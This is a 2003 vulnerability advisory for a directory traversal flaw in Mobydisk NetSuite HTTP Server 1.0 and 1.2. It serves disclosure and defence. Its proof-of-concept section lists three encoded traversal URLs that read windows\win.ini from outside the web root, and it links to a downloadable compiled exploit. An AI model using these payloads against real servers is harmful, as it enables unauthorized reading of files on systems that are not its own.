NetSuite HTTP Server Directory Traversal Vulnerability

BID:8197

Info

NetSuite HTTP Server Directory Traversal Vulnerability

Bugtraq ID: 8197
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Jul 15 2003 12:00AM
Updated: Jul 15 2003 12:00AM
Credit: Discovery of this vulnerability has been credited to [email protected].
Vulnerable: Mobydisk Moby Netsuite 1.2
Mobydisk Moby Netsuite 1.0
Not Vulnerable:

Discussion

NetSuite HTTP Server Directory Traversal Vulnerability

The HTTP component of NetSuite has been reported prone to a directory traversal vulnerability.

Various combinations of encoded directory traversal sequences may be used to break out of the web root directory. Attackers may gain access to files that are readable by the web server as a result.

Exploit / POC

NetSuite HTTP Server Directory Traversal Vulnerability

The following proof of concept has been provided:

http://www.example.com/%5c..%5c..%5c..%5cwindows%5cwin.ini
http://www.example.com/%5c..%5c..%5c..%5cwindows%5cwin%2eini
http://www.example.com/\..\..\..\windows\win.ini

A compiled exploit can be downloaded at:
http://members.lycos.co.uk/r34ct/main/Netsuite_expl/

Solution / Fix

NetSuite HTTP Server Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

NetSuite HTTP Server Directory Traversal Vulnerability

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